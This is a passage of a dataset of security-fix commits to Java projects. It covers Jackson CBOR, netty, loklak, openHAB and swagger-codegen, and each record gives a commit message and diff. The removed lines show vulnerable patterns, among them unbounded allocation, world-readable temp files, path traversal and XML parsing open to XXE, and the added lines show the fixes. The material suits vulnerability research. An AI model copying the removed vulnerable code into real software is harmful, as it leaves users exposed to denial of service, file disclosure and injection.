0x1F);\n byte[] b = _finishBytes(blen);\n // TODO: Optimize, if this becomes commonly used & bottleneck; we have\n@@ -3204,7 +3260,7 @@ private final int _decodeChunkedUTF8_4(int c) throws IOException\n /**********************************************************\n */\n \n- protected final boolean loadMore() throws IOException\n+ protected boolean loadMore() throws IOException\n {\n if (_inputStream != null) {\n _currInputProcessed += _inputEnd;\n@@ -3225,7 +3281,7 @@ protected final boolean loadMore() throws IOException\n return false;\n }\n \n- protected final void loadMoreGuaranteed() throws IOException {\n+ protected void loadMoreGuaranteed() throws IOException {\n if (!loadMore()) { _reportInvalidEOF(); }\n }\n \n@@ -3351,6 +3407,13 @@ protected void _reportInvalidOther(int mask, int ptr) throws JsonParseException\n _reportInvalidOther(mask);\n }\n \n+ // @since 2.12\n+ protected void _reportIncompleteBinaryRead(int expLen, int actLen) throws IOException\n+ {\n+ _reportInvalidEOF(String.format(\" for Binary value: expected %d bytes, only found %d\",\n+ expLen, actLen), _currToken);\n+ }\n+\n /*\n /**********************************************************\n /* Internal methods, other", "sections": [{"section": "@@ -63,6 +63,10 @@ private Feature(boolean defaultState) {\n private final static double MATH_POW_2_10 = Math.pow(2, 10);\n private final static double MATH_POW_2_NEG14 = Math.pow(2, -14);\n \n+ // 2.11.4: [dataformats-binary#186] Avoid OOME/DoS for bigger binary;\n+ // read only up to 250k\n+ protected final static int LONGEST_NON_CHUNKED_BINARY = 250_000;\n+\n /*\n /**********************************************************\n /* Configuration\n", "related": false}, {"section": "@@ -1706,13 +1710,15 @@ public int readBinaryValue(Base64Variant b64variant, OutputStream out) throws IO\n }\n }\n \n- private int _readAndWriteBytes(OutputStream out, int total) throws IOException\n+ private int _readAndWriteBytes(OutputStream out, final int total) throws IOException\n {\n int left = total;\n while (left > 0) {\n int avail = _inputEnd - _inputPtr;\n if (_inputPtr >= _inputEnd) {\n- loadMoreGuaranteed();\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(total, total-left);\n+ }\n avail = _inputEnd - _inputPtr;\n }\n int count = Math.min(avail, left);\n", "related": false}, {"section": "@@ -2425,33 +2431,55 @@ private final int _nextChunkedByte2() throws IOException\n // either way, got it now\n return _inputBuffer[_inputPtr++];\n }\n- \n+\n+ /**\n+ * Helper called to complete reading of binary data (\"byte string\") in\n+ * case contents are needed.\n+ */\n @SuppressWarnings(\"resource\")\n protected byte[] _finishBytes(int len) throws IOException\n {\n+ // Chunked?\n // First, simple: non-chunked\n- if (len >= 0) {\n+ if (len <= 0) {\n if (len == 0) {\n return NO_BYTES;\n }\n- byte[] b = new byte[len];\n- if (_inputPtr >= _inputEnd) {\n- loadMoreGuaranteed();\n+ return _finishChunkedBytes();\n+ }\n+ // Non-chunked, contiguous\n+ if (len > LONGEST_NON_CHUNKED_BINARY) {\n+ // [dataformats-binary#186]: avoid immediate allocation for longest\n+ return _finishLongContiguousBytes(len);\n+ }\n+\n+ final byte[] b = new byte[len];\n+ final int expLen = len;\n+ if (_inputPtr >= _inputEnd) {\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(expLen, 0);\n }\n- int ptr = 0;\n- while (true) {\n- int toAdd = Math.min(len, _inputEnd - _inputPtr);\n- System.arraycopy(_inputBuffer, _inputPtr, b, ptr, toAdd);\n- _inputPtr += toAdd;\n- ptr += toAdd;\n- len -= toAdd;\n- if (len <= 0) {\n- return b;\n- }\n- loadMoreGuaranteed();\n+ }\n+\n+ int ptr = 0;\n+ while (true) {\n+ int toAdd = Math.min(len, _inputEnd - _inputPtr);\n+ System.arraycopy(_inputBuffer, _inputPtr, b, ptr, toAdd);\n+ _inputPtr += toAdd;\n+ ptr += toAdd;\n+ len -= toAdd;\n+ if (len <= 0) {\n+ return b;\n+ }\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(expLen, ptr);\n }\n }\n+ }\n \n+ // @since 2.12\n+ protected byte[] _finishChunkedBytes() throws IOException\n+ {\n // or, if not, chunked...\n ByteArrayBuilder bb = _getByteArrayBuilder();\n while (true) {\n", "related": false}, {"section": "@@ -2468,14 +2496,17 @@ protected byte[] _finishBytes(int len) throws IOException\n throw _constructError(\"Mismatched chunk in chunked content: expected \"+CBORConstants.MAJOR_TYPE_BYTES\n +\" but encountered \"+type);\n }\n- len = _decodeExplicitLength(ch & 0x1F);\n+ int len = _decodeExplicitLength(ch & 0x1F);\n if (len < 0) {\n throw _constructError(\"Illegal chunked-length indicator within chunked-length value (type \"+CBORConstants.MAJOR_TYPE_BYTES+\")\");\n }\n+ final int chunkLen = len;\n while (len > 0) {\n int avail = _inputEnd - _inputPtr;\n if (_inputPtr >= _inputEnd) {\n- loadMoreGuaranteed();\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(chunkLen, chunkLen-len);\n+ }\n avail = _inputEnd - _inputPtr;\n }\n int count = Math.min(avail, len);\n", "related": false}, {"section": "@@ -2486,7 +2517,33 @@ protected byte[] _finishBytes(int len) throws IOException\n }\n return bb.toByteArray();\n }\n- \n+\n+ // @since 2.12\n+ protected byte[] _finishLongContiguousBytes(final int expLen) throws IOException\n+ {\n+ int left = expLen;\n+\n+ // 04-Dec-2020, tatu: Let's NOT use recycled instance since we have much\n+ // longer content and there is likely less benefit of trying to recycle\n+ // segments\n+ try (final ByteArrayBuilder bb = new ByteArrayBuilder(LONGEST_NON_CHUNKED_BINARY >> 1)) {\n+ while (left > 0) {\n+ int avail = _inputEnd - _inputPtr;\n+ if (avail <= 0) {\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(expLen, expLen-left);\n+ }\n+ avail = _inputEnd - _inputPtr;\n+ }\n+ int count = Math.min(avail, left);\n+ bb.write(_inputBuffer, _inputPtr, count);\n+ _inputPtr += count;\n+ left -= count; \n+ }\n+ return bb.toByteArray();\n+ }\n+ }\n+\n protected final JsonToken _decodeFieldName() throws IOException\n { \n if (_inputPtr >= _inputEnd) {\n", "related": false}, {"section": "@@ -2635,9 +2692,8 @@ protected final void _decodeNonStringName(int ch) throws IOException\n } else if (type == CBORConstants.MAJOR_TYPE_INT_NEG) {\n name = _numberToName(ch, true);\n } else if (type == CBORConstants.MAJOR_TYPE_BYTES) {\n- /* 08-Sep-2014, tatu: As per [Issue#5], there are codecs\n- * (f.ex. Perl module \"CBOR::XS\") that use Binary data...\n- */\n+ // 08-Sep-2014, tatu: As per [Issue#5], there are codecs\n+ // (f.ex. Perl module \"CBOR::XS\") that use Binary data...\n final int blen = _decodeExplicitLength(ch & 0x1F);\n byte[] b = _finishBytes(blen);\n // TODO: Optimize, if this becomes commonly used & bottleneck; we have\n", "related": false}, {"section": "@@ -3204,7 +3260,7 @@ private final int _decodeChunkedUTF8_4(int c) throws IOException\n /**********************************************************\n */\n \n- protected final boolean loadMore() throws IOException\n+ protected boolean loadMore() throws IOException\n {\n if (_inputStream != null) {\n _currInputProcessed += _inputEnd;\n", "related": false}, {"section": "@@ -3225,7 +3281,7 @@ protected final boolean loadMore() throws IOException\n return false;\n }\n \n- protected final void loadMoreGuaranteed() throws IOException {\n+ protected void loadMoreGuaranteed() throws IOException {\n if (!loadMore()) { _reportInvalidEOF(); }\n }\n \n", "related": false}, {"section": "@@ -3351,6 +3407,13 @@ protected void _reportInvalidOther(int mask, int ptr) throws JsonParseException\n _reportInvalidOther(mask);\n }\n \n+ // @since 2.12\n+ protected void _reportIncompleteBinaryRead(int expLen, int actLen) throws IOException\n+ {\n+ _reportInvalidEOF(String.format(\" for Binary value: expected %d bytes, only found %d\",\n+ expLen, actLen), _currToken);\n+ }\n+\n /*\n /**********************************************************\n /* Internal methods, other", "related": false}]} +{"owner": "netty", "repo": "netty", "language": "Java", "file_name": "common/src/main/java/io/netty/util/internal/NativeLibraryLoader.java", "commit_id": "c735357bf29d07856ad171c6611a2e1a0e0000ec", "commit_message": "Use Files.createTempFile(...) to ensure the file is created with proper permissions\n\nMotivation:\n\nFile.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir'. The permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file.\nThis can be a security concern if any sensitive data is stored in this file.\n\nThis was reported by Jonathan Leitschuh as a security problem.\n\nModifications:\n\nUse Files.createTempFile(...) which will use safe-defaults when running on java 7 and later. If running on java 6 there isnt much we can do, which is fair enough as java 6 shouldnt be considered \"safe\" anyway.\n\nResult:\n\nCreate temporary files with sane permissions by default.", "patch": "@@ -177,7 +177,7 @@ public static void load(String originalName, ClassLoader loader) {\n String prefix = libname.substring(0, index);\n String suffix = libname.substring(index);\n \n- tmpFile = File.createTempFile(prefix, suffix, WORKDIR);\n+ tmpFile = PlatformDependent.createTempFile(prefix, suffix, WORKDIR);\n in = url.openStream();\n out = new FileOutputStream(tmpFile);\n ", "sections": [{"section": "@@ -177,7 +177,7 @@ public static void load(String originalName, ClassLoader loader) {\n String prefix = libname.substring(0, index);\n String suffix = libname.substring(index);\n \n- tmpFile = File.createTempFile(prefix, suffix, WORKDIR);\n+ tmpFile = PlatformDependent.createTempFile(prefix, suffix, WORKDIR);\n in = url.openStream();\n out = new FileOutputStream(tmpFile);\n ", "related": false}]} +{"owner": "loklak", "repo": "loklak_server", "language": "Java", "file_name": "src/org/loklak/data/DAO.java", "commit_id": "50dd69230d3cd71dab0bfa7156682ffeca8ed8b9", "commit_message": "Merge pull request from GHSA-7557-4v29-rqw6\n\nFix directory traversal", "patch": "@@ -99,6 +99,7 @@\n import org.loklak.server.*;\n import org.loklak.stream.MQTTPublisher;\n import org.loklak.tools.DateParser;\n+import org.loklak.tools.IO;\n import org.loklak.tools.OS;\n import org.loklak.tools.storage.*;\n import org.slf4j.Logger;\n@@ -340,7 +341,7 @@ public static void init(Map configMap, Path dataPath) throws Exc\n // elasticsearch will probably take some time until it is started up. We do some other stuff meanwhile..\n \n // create and document the data dump dir\n- assets = new File(datadir, \"assets\");\n+ assets = new File(datadir, \"assets\").getAbsoluteFile();\n external_data = new File(datadir, \"external\");\n dictionaries = new File(external_data, \"dictionaries\");\n dictionaries.mkdirs();\n@@ -525,8 +526,8 @@ public static Map nodeSettings() {\n public static File getAssetFile(String screen_name, String id_str, String file) {\n String letter0 = (\"\" + screen_name.charAt(0)).toLowerCase();\n String letter1 = (\"\" + screen_name.charAt(1)).toLowerCase();\n- File storage_path = new File(new File(new File(assets, letter0), letter1), screen_name);\n- return new File(storage_path, id_str + \"_\" + file); // all assets for one user in one file\n+ Path storage_path = IO.resolvePath(assets.toPath(), letter0, letter1, screen_name);\n+ return IO.resolvePath(storage_path, id_str + \"_\" + file).toFile(); // all assets for one user in one file\n }\n \n public static Collection getTweetOwnDumps(int count) {", "sections": [{"section": "@@ -99,6 +99,7 @@\n import org.loklak.server.*;\n import org.loklak.stream.MQTTPublisher;\n import org.loklak.tools.DateParser;\n+import org.loklak.tools.IO;\n import org.loklak.tools.OS;\n import org.loklak.tools.storage.*;\n import org.slf4j.Logger;\n", "related": false}, {"section": "@@ -340,7 +341,7 @@ public static void init(Map configMap, Path dataPath) throws Exc\n // elasticsearch will probably take some time until it is started up. We do some other stuff meanwhile..\n \n // create and document the data dump dir\n- assets = new File(datadir, \"assets\");\n+ assets = new File(datadir, \"assets\").getAbsoluteFile();\n external_data = new File(datadir, \"external\");\n dictionaries = new File(external_data, \"dictionaries\");\n dictionaries.mkdirs();\n", "related": false}, {"section": "@@ -525,8 +526,8 @@ public static Map nodeSettings() {\n public static File getAssetFile(String screen_name, String id_str, String file) {\n String letter0 = (\"\" + screen_name.charAt(0)).toLowerCase();\n String letter1 = (\"\" + screen_name.charAt(1)).toLowerCase();\n- File storage_path = new File(new File(new File(assets, letter0), letter1), screen_name);\n- return new File(storage_path, id_str + \"_\" + file); // all assets for one user in one file\n+ Path storage_path = IO.resolvePath(assets.toPath(), letter0, letter1, screen_name);\n+ return IO.resolvePath(storage_path, id_str + \"_\" + file).toFile(); // all assets for one user in one file\n }\n \n public static Collection getTweetOwnDumps(int count) {", "related": false}]} +{"owner": "openhab", "repo": "openhab-addons", "language": "Java", "file_name": "bundles/org.openhab.binding.fmiweather/src/main/java/org/openhab/binding/fmiweather/internal/client/Client.java", "commit_id": "81935b0ab126e6d9aebd2f6c3fc67d82bb7e8b86", "commit_message": "Fix XXE vulnerabilities in multiple add-ons\n\nSigned-off-by: Kai Kreuzer ", "patch": "@@ -105,6 +105,12 @@ public String getNamespaceURI(@Nullable String prefix) {\n public Client() {\n documentBuilderFactory.setNamespaceAware(true);\n try {\n+ // see https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html\n+ documentBuilderFactory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n+ documentBuilderFactory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n+ documentBuilderFactory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n+ documentBuilderFactory.setXIncludeAware(false);\n+ documentBuilderFactory.setExpandEntityReferences(false);\n documentBuilder = documentBuilderFactory.newDocumentBuilder();\n } catch (ParserConfigurationException e) {\n throw new IllegalStateException(e);", "sections": [{"section": "@@ -105,6 +105,12 @@ public String getNamespaceURI(@Nullable String prefix) {\n public Client() {\n documentBuilderFactory.setNamespaceAware(true);\n try {\n+ // see https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html\n+ documentBuilderFactory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n+ documentBuilderFactory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n+ documentBuilderFactory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n+ documentBuilderFactory.setXIncludeAware(false);\n+ documentBuilderFactory.setExpandEntityReferences(false);\n documentBuilder = documentBuilderFactory.newDocumentBuilder();\n } catch (ParserConfigurationException e) {\n throw new IllegalStateException(e);", "related": true}]} +{"owner": "openhab", "repo": "openhab-addons", "language": "Java", "file_name": "bundles/org.openhab.binding.samsungtv/src/main/java/org/openhab/binding/samsungtv/internal/service/SamsungTvUtils.java", "commit_id": "81935b0ab126e6d9aebd2f6c3fc67d82bb7e8b86", "commit_message": "Fix XXE vulnerabilities in multiple add-ons\n\nSigned-off-by: Kai Kreuzer ", "patch": "@@ -81,6 +81,12 @@ public static HashMap buildHashMap(String... data) {\n public static @Nullable Document loadXMLFromString(String xml) {\n try {\n DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n+ // see https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html\n+ factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n+ factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n+ factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n+ factory.setXIncludeAware(false);\n+ factory.setExpandEntityReferences(false);\n DocumentBuilder builder = factory.newDocumentBuilder();\n InputSource is = new InputSource(new StringReader(xml));\n return builder.parse(is);", "sections": [{"section": "@@ -81,6 +81,12 @@ public static HashMap buildHashMap(String... data) {\n public static @Nullable Document loadXMLFromString(String xml) {\n try {\n DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n+ // see https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html\n+ factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n+ factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n+ factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n+ factory.setXIncludeAware(false);\n+ factory.setExpandEntityReferences(false);\n DocumentBuilder builder = factory.newDocumentBuilder();\n InputSource is = new InputSource(new StringReader(xml));\n return builder.parse(is);", "related": true}]} +{"owner": "netty", "repo": "netty", "language": "Java", "file_name": "codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2ConnectionDecoder.java", "commit_id": "b0fa4d5aab4215f3c22ce6123dd8dd5f38dc0432", "commit_message": "Merge pull request from GHSA-f256-j965-7f32\n\nMotivation:\n\nWe also need to ensure that all the header validation is done when a single header with the endStream flag is received\n\nModifications:\n\n- Adjust code to always enforce the validation\n- Add more unit tests\n\nResult:\n\nAlways correctly validate", "patch": "@@ -353,10 +353,13 @@ public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers\n short weight, boolean exclusive, int padding, boolean endOfStream) throws Http2Exception {\n Http2Stream stream = connection.stream(streamId);\n boolean allowHalfClosedRemote = false;\n+ boolean isTrailers = false;\n if (stream == null && !connection.streamMayHaveExisted(streamId)) {\n stream = connection.remote().createStream(streamId, endOfStream);\n // Allow the state to be HALF_CLOSE_REMOTE if we're creating it in that state.\n allowHalfClosedRemote = stream.state() == HALF_CLOSED_REMOTE;\n+ } else if (stream != null) {\n+ isTrailers = stream.isHeadersReceived();\n }\n \n if (shouldIgnoreHeadersOrDataFrame(ctx, streamId, stream, \"HEADERS\")) {\n@@ -394,7 +397,7 @@ public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers\n stream.state());\n }\n \n- if (!stream.isHeadersReceived()) {\n+ if (!isTrailers) {\n // extract the content-length header\n List contentLength = headers.getAll(HttpHeaderNames.CONTENT_LENGTH);\n if (contentLength != null && !contentLength.isEmpty()) {", "sections": [{"section": "@@ -353,10 +353,13 @@ public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers\n short weight, boolean exclusive, int padding, boolean endOfStream) throws Http2Exception {\n Http2Stream stream = connection.stream(streamId);\n boolean allowHalfClosedRemote = false;\n+ boolean isTrailers = false;\n if (stream == null && !connection.streamMayHaveExisted(streamId)) {\n stream = connection.remote().createStream(streamId, endOfStream);\n // Allow the state to be HALF_CLOSE_REMOTE if we're creating it in that state.\n allowHalfClosedRemote = stream.state() == HALF_CLOSED_REMOTE;\n+ } else if (stream != null) {\n+ isTrailers = stream.isHeadersReceived();\n }\n \n if (shouldIgnoreHeadersOrDataFrame(ctx, streamId, stream, \"HEADERS\")) {\n", "related": false}, {"section": "@@ -394,7 +397,7 @@ public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers\n stream.state());\n }\n \n- if (!stream.isHeadersReceived()) {\n+ if (!isTrailers) {\n // extract the content-length header\n List contentLength = headers.getAll(HttpHeaderNames.CONTENT_LENGTH);\n if (contentLength != null && !contentLength.isEmpty()) {", "related": false}]} +{"owner": "swagger-api", "repo": "swagger-codegen", "language": "Java", "file_name": "modules/swagger-codegen/src/test/java/io/swagger/codegen/options/JaxRSServerOptionsProvider.java", "commit_id": "35adbd552d5f99b3ff1e0e59da228becc85190f2", "commit_message": "Merge pull request from GHSA-hpv8-9rq5-hq7w\n\nsecurity: fix CWE-378 CWE-200 CWE-732 - use java.nio.files", "patch": "@@ -58,7 +58,6 @@ public Map createOptions() {\n ImmutableMap.Builder builder = new ImmutableMap.Builder();\n builder.put(CodegenConstants.IMPL_FOLDER, IMPL_FOLDER_VALUE)\n .put(JavaClientCodegen.DATE_LIBRARY, \"joda\") //java.lang.IllegalArgumentException: Multiple entries with same key: dateLibrary=joda and dateLibrary=joda\n- .put(JavaClientCodegen.SUPPORT_JAVA6, \"false\")\n .put(\"title\", \"Test title\")\n .put(CodegenConstants.MODEL_PACKAGE, MODEL_PACKAGE_VALUE)\n .put(CodegenConstants.API_PACKAGE, API_PACKAGE_VALUE)", "sections": [{"section": "@@ -58,7 +58,6 @@ public Map createOptions() {\n ImmutableMap.Builder builder = new ImmutableMap.Builder();\n builder.put(CodegenConstants.IMPL_FOLDER, IMPL_FOLDER_VALUE)\n .put(JavaClientCodegen.DATE_LIBRARY, \"joda\") //java.lang.IllegalArgumentException: Multiple entries with same key: dateLibrary=joda and dateLibrary=joda\n- .put(JavaClientCodegen.SUPPORT_JAVA6, \"false\")\n .put(\"title\", \"Test title\")\n .put(CodegenConstants.MODEL_PACKAGE, MODEL_PACKAGE_VALUE)\n .put(CodegenConstants.API_PACKAGE, API_PACKAGE_VALUE)", "related": false}]} +{"owner": "swagger-api", "repo": "swagger-codegen", "language": "Java", "file_name": "samples/client/petstore/java/jersey2-java6/src/main/java/io/swagger/client/StringUtil.java", "commit_id": "35adbd552d5f99b3ff1e0e59da228becc85190f2", "commit_message": "Merge pull request from GHSA-hpv8-9rq5-hq7w\n\nsecurity: fix CWE-378 CWE-200 CWE-732 - use java.nio.files", "patch": "@@ -1,55 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client;\n-\n-\n-public class StringUtil {\n- /**\n- * Check if the given array contains the given value (with case-insensitive comparison).\n- *\n- * @param array The array\n- * @param value The value to search\n- * @return true if the array contains the value\n- */\n- public static boolean containsIgnoreCase(String[] array, String value) {\n- for (String str : array) {\n- if (value == null && str == null) return true;\n- if (value != null && value.equalsIgnoreCase(str)) return true;\n- }\n- return false;\n- }\n-\n- /**\n- * Join an array of strings with the given separator.\n- *

\n- * Note: This might be replaced by utility method from commons-lang or guava someday\n- * if one of those libraries is added as dependency.\n- *

\n- *\n- * @param array The array of strings\n- * @param separator The separator\n- * @return the resulting string\n- */\n- public static String join(String[] array, String separator) {\n- int len = array.length;\n- if (len == 0) return \"\";\n-\n- StringBuilder out = new StringBuilder();\n- out.append(array[0]);\n- for (int i = 1; i < len; i++) {\n- out.append(separator).append(array[i]);\n- }\n- return out.toString();\n- }\n-}", "sections": [{"section": "@@ -1,55 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client;\n-\n-\n-public class StringUtil {\n- /**\n- * Check if the given array contains the given value (with case-insensitive comparison).\n- *\n- * @param array The array\n- * @param value The value to search\n- * @return true if the array contains the value\n- */\n- public static boolean containsIgnoreCase(String[] array, String value) {\n- for (String str : array) {\n- if (value == null && str == null) return true;\n- if (value != null && value.equalsIgnoreCase(str)) return true;\n- }\n- return false;\n- }\n-\n- /**\n- * Join an array of strings with the given separator.\n- *

\n- * Note: This might be replaced by utility method from commons-lang or guava someday\n- * if one of those libraries is added as dependency.\n- *

\n- *\n- * @param array The array of strings\n- * @param separator The separator\n- * @return the resulting string\n- */\n- public static String join(String[] array, String separator) {\n- int len = array.length;\n- if (len == 0) return \"\";\n-\n- StringBuilder out = new StringBuilder();\n- out.append(array[0]);\n- for (int i = 1; i < len; i++) {\n- out.append(separator).append(array[i]);\n- }\n- return out.toString();\n- }\n-}", "related": false}]} +{"owner": "swagger-api", "repo": "swagger-codegen", "language": "Java", "file_name": "samples/client/petstore/java/jersey2-java6/src/main/java/io/swagger/client/auth/OAuth.java", "commit_id": "35adbd552d5f99b3ff1e0e59da228becc85190f2", "commit_message": "Merge pull request from GHSA-hpv8-9rq5-hq7w\n\nsecurity: fix CWE-378 CWE-200 CWE-732 - use java.nio.files", "patch": "@@ -1,39 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.auth;\n-\n-import io.swagger.client.Pair;\n-\n-import java.util.Map;\n-import java.util.List;\n-\n-\n-public class OAuth implements Authentication {\n- private String accessToken;\n-\n- public String getAccessToken() {\n- return accessToken;\n- }\n-\n- public void setAccessToken(String accessToken) {\n- this.accessToken = accessToken;\n- }\n-\n- @Override\n- public void applyToParams(List queryParams, Map headerParams) {\n- if (accessToken != null) {\n- headerParams.put(\"Authorization\", \"Bearer \" + accessToken);\n- }\n- }\n-}", "sections": [{"section": "@@ -1,39 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.auth;\n-\n-import io.swagger.client.Pair;\n-\n-import java.util.Map;\n-import java.util.List;\n-\n-\n-public class OAuth implements Authentication {\n- private String accessToken;\n-\n- public String getAccessToken() {\n- return accessToken;\n- }\n-\n- public void setAccessToken(String accessToken) {\n- this.accessToken = accessToken;\n- }\n-\n- @Override\n- public void applyToParams(List queryParams, Map headerParams) {\n- if (accessToken != null) {\n- headerParams.put(\"Authorization\", \"Bearer \" + accessToken);\n- }\n- }\n-}", "related": false}]} +{"owner": "swagger-api", "repo": "swagger-codegen", "language": "Java", "file_name": "samples/client/petstore/java/jersey2-java6/src/main/java/io/swagger/client/model/Category.java", "commit_id": "35adbd552d5f99b3ff1e0e59da228becc85190f2", "commit_message": "Merge pull request from GHSA-hpv8-9rq5-hq7w\n\nsecurity: fix CWE-378 CWE-200 CWE-732 - use java.nio.files", "patch": "@@ -1,113 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.model;\n-\n-import org.apache.commons.lang3.ObjectUtils;\n-import com.fasterxml.jackson.annotation.JsonProperty;\n-import com.fasterxml.jackson.annotation.JsonCreator;\n-import com.fasterxml.jackson.annotation.JsonValue;\n-import io.swagger.annotations.ApiModel;\n-import io.swagger.annotations.ApiModelProperty;\n-\n-/**\n- * Category\n- */\n-\n-public class Category {\n- @JsonProperty(\"id\")\n- private Long id = null;\n-\n- @JsonProperty(\"name\")\n- private String name = null;\n-\n- public Category id(Long id) {\n- this.id = id;\n- return this;\n- }\n-\n- /**\n- * Get id\n- * @return id\n- **/\n- @ApiModelProperty(value = \"\")\n- public Long getId() {\n- return id;\n- }\n-\n- public void setId(Long id) {\n- this.id = id;\n- }\n-\n- public Category name(String name) {\n- this.name = name;\n- return this;\n- }\n-\n- /**\n- * Get name\n- * @return name\n- **/\n- @ApiModelProperty(value = \"\")\n- public String getName() {\n- return name;\n- }\n-\n- public void setName(String name) {\n- this.name = name;\n- }\n-\n-\n- @Override\n- public boolean equals(java.lang.Object o) {\n- if (this == o) {\n- return true;\n- }\n- if (o == null || getClass() != o.getClass()) {\n- return false;\n- }\n- Category category = (Category) o;\n- return ObjectUtils.equals(this.id, category.id) &&\n- ObjectUtils.equals(this.name, category.name);\n- }\n-\n- @Override\n- public int hashCode() {\n- return ObjectUtils.hashCodeMulti(id, name);\n- }\n-\n-\n- @Override\n- public String toString() {\n- StringBuilder sb = new StringBuilder();\n- sb.append(\"class Category {\\n\");\n- \n- sb.append(\" id: \").append(toIndentedString(id)).append(\"\\n\");\n- sb.append(\" name: \").append(toIndentedString(name)).append(\"\\n\");\n- sb.append(\"}\");\n- return sb.toString();\n- }\n-\n- /**\n- * Convert the given object to string with each line indented by 4 spaces\n- * (except the first line).\n- */\n- private String toIndentedString(java.lang.Object o) {\n- if (o == null) {\n- return \"null\";\n- }\n- return o.toString().replace(\"\\n\", \"\\n \");\n- }\n-\n-}\n-", "sections": [{"section": "@@ -1,113 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.model;\n-\n-import org.apache.commons.lang3.ObjectUtils;\n-import com.fasterxml.jackson.annotation.JsonProperty;\n-import com.fasterxml.jackson.annotation.JsonCreator;\n-import com.fasterxml.jackson.annotation.JsonValue;\n-import io.swagger.annotations.ApiModel;\n-import io.swagger.annotations.ApiModelProperty;\n-\n-/**\n- * Category\n- */\n-\n-public class Category {\n- @JsonProperty(\"id\")\n- private Long id = null;\n-\n- @JsonProperty(\"name\")\n- private String name = null;\n-\n- public Category id(Long id) {\n- this.id = id;\n- return this;\n- }\n-\n- /**\n- * Get id\n- * @return id\n- **/\n- @ApiModelProperty(value = \"\")\n- public Long getId() {\n- return id;\n- }\n-\n- public void setId(Long id) {\n- this.id = id;\n- }\n-\n- public Category name(String name) {\n- this.name = name;\n- return this;\n- }\n-\n- /**\n- * Get name\n- * @return name\n- **/\n- @ApiModelProperty(value = \"\")\n- public String getName() {\n- return name;\n- }\n-\n- public void setName(String name) {\n- this.name = name;\n- }\n-\n-\n- @Override\n- public boolean equals(java.lang.Object o) {\n- if (this == o) {\n- return true;\n- }\n- if (o == null || getClass() != o.getClass()) {\n- return false;\n- }\n- Category category = (Category) o;\n- return 